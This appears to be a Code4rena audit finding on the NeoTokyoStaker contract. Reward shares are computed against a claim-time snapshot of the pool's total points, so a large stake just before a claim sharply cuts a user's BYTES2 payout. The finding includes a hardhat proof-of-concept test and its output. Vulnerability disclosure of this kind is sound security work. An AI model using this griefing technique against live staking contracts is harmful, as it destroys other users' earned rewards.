Lines of code
<https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1390&gt;

Vulnerability details

In NeoTokyoStaker.getPoolReward, a users reward is calculated as follows:

1388:   uint256 share = points * _PRECISION / pool.totalPoints * totalReward;
1390:   share /= _PRECISION;

points represents the users total points in the pool over a specific (potentially long) time period, whereas pool.totalPoints is a snapshot taken at the time of claiming. This means that the claiming user may receive fewer BYTES2 rewards than they are entitled to. The calculation assumes that pool.totalPoints is the total amount of points over the entire time period from the current block.timestamp back to lastRewardTime for the claimer, which is not the case. Thus any large stake or withdraw transaction before a user claims their rewards will drastically change pool.totalPoints, and significantly affect their reward.

In other words, a users rewards are calculated using their proportion of the pools total points at the time of claiming, rather than over the duration of their stake.

Impact

Consider the following example:

• Alice stakes some LP tokens, such that her points are the majority of the LP pools total points
• 30 days pass, her points still the majority
• The block before she calls claimReward, a whale stakes a large amount of LP tokens
• pool.totalPoints is now inflated, and Alice’s calculated share is lower as a result
• Fewer BYTES2 tokens are minted to Alice than she is entitled to, and since lastRewardTime mapping is updated, those sacrificed tokens are irretrievable

This example is explored further in the below proof of concept.

Proof of Concept

The above example is demonstrated in the below PoCs. Two hardhat unit tests show the same situation with the only difference being a whale staking a large amount of LP tokens just before Alice attempts to claim her rewards.

describe('with example configuration', function () {

  // ...

    describe("PoCs", function () {
        let tx, txResponse, aliceStakeTime
        beforeEach(async () => {
            // Configure the LP token contract address on the staker.
            await NTStaking.connect(owner.signer).configureLP(LPToken.address);

            // Stake Alice's LP tokens for 30 days.
            tx = await NTStaking.connect(alice.signer).stake(
                ASSETS.LP.id,
                TIMELOCK_OPTION_IDS['30'],
                ethers.utils.parseEther('40'),
                0,
                0
            );
            txResponse = await tx.wait();
            let priorBlockNumber = await ethers.provider.getBlockNumber();
            let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
            aliceStakeTime = priorBlock.timestamp;
            console.log(
                "Block",
                priorBlockNumber,
                "Alice stakes 40 LP tokens"
            )

            // Jump to 30 days after Alice's LP stake
            await ethers.provider.send('evm_setNextBlockTimestamp', [
                aliceStakeTime + (60 * 60 * 24 * 30)
            ]);
            console.log("Fast forward 30 days")
        })

        it("with whale deposit", async function () {

            // Whale stakes 10000 LP tokens
            tx = await NTStaking.connect(whale.signer).stake(
                ASSETS.LP.id,
                TIMELOCK_OPTION_IDS['30'],
                ethers.utils.parseEther('10000'),
                0,
                0
            );
            txResponse = await tx.wait();
            console.log("Block", txResponse.blockNumber, "Whale stakes 10k LP tokens");
            
            // Alice claims rewards
            const aliceBalanceBeforeClaim = await NTBytes2_0.balanceOf(alice.address);
            tx = await NTCitizenDeploy.connect(alice.signer).getReward();
            txResponse = await tx.wait();
            const aliceBalanceAfterClaim = await NTBytes2_0.balanceOf(alice.address);
            console.log("Block", txResponse.blockNumber, "Alice claims rewards");

            // Get tokens received
            const aliceRewardsReceived = aliceBalanceAfterClaim.sub(aliceBalanceBeforeClaim);
            console.log("Alice rewards received:", ethers.utils.formatEther(aliceRewardsReceived));

            // Get stake duration in seconds
            const endStakeTimestamp = (await ethers.provider.getBlock(txResponse.blockNumber)).timestamp;
            console.log("Alice stake duration:", endStakeTimestamp - aliceStakeTime, "seconds")
        })

        it("without whale deposit", async function () {

            // Mine block so that Alice's claim is on same block as previous test
            await ethers.provider.send("evm_mine")

            // Alice claims rewards
            const aliceBalanceBeforeClaim = await NTBytes2_0.balanceOf(alice.address);
            tx = await NTCitizenDeploy.connect(alice.signer).getReward();
            txResponse = await tx.wait();
            const aliceBalanceAfterClaim = await NTBytes2_0.balanceOf(alice.address);
            console.log("Block", txResponse.blockNumber, "Alice claims rewards");

            // Get tokens received
            const aliceRewardsReceived = aliceBalanceAfterClaim.sub(aliceBalanceBeforeClaim);
            console.log("Alice rewards received:", ethers.utils.formatEther(aliceRewardsReceived));

            // Get stake duration in seconds
            const endStakeTimestamp = (await ethers.provider.getBlock(txResponse.blockNumber)).timestamp;
            console.log("Alice stake duration:", endStakeTimestamp - aliceStakeTime, "seconds")
        })
    });
});

Output:

      PoCs
Block 145 Alice stakes 40 LP tokens
Fast forward 30 days
Block 146 Whale stakes 10k LP tokens
Block 147 Alice claims rewards
Alice rewards received: 5.796814985399664624
Alice stake duration: 2592001 seconds
        ✔ with whale deposit (87ms)
Block 145 Alice stakes 40 LP tokens
Fast forward 30 days
Block 147 Alice claims rewards
Alice rewards received: 1455.000561342590823312
Alice stake duration: 2592001 seconds
        ✔ without whale deposit (50ms)


  2 passing (8s)

As can be seen from the console logs, a large stake before Alice’s claim can cause her BYTES2 rewards to go from 1455 tokens to 5.7 tokens. The stake duration in seconds and in blocks is identical across both instances. Despite being the sole staker for 30 days straight, Alice’s reward is almost entirely lost due to the actions of another user at the time of claiming. The whale’s griefing of Alice’s rewards could be intentional or unintentional.

It is also worth noting that in this example, the LP reward emission rate was set to 50 tokens per day, meaning ~1500 tokens should have been available to be claimed by all users by the time Alice called getReward. Since Alice was the only staker for the initial 30 day period, where the expected emission rate for that time period would be ~1500, we can see that the actual emission rate would be 5.7. Such unpredicted emissions may cause further second order effects down the line.

Tools Used

VSCode, hardhat

Recommended Mitigation Steps

Rethink the share calculation in getPoolReward (L1388) to take into the account the fact that a pools total points change (perhaps drastically) over the duration of a user’s stake.

---

The text was updated successfully, but these errors were encountered:

All reactions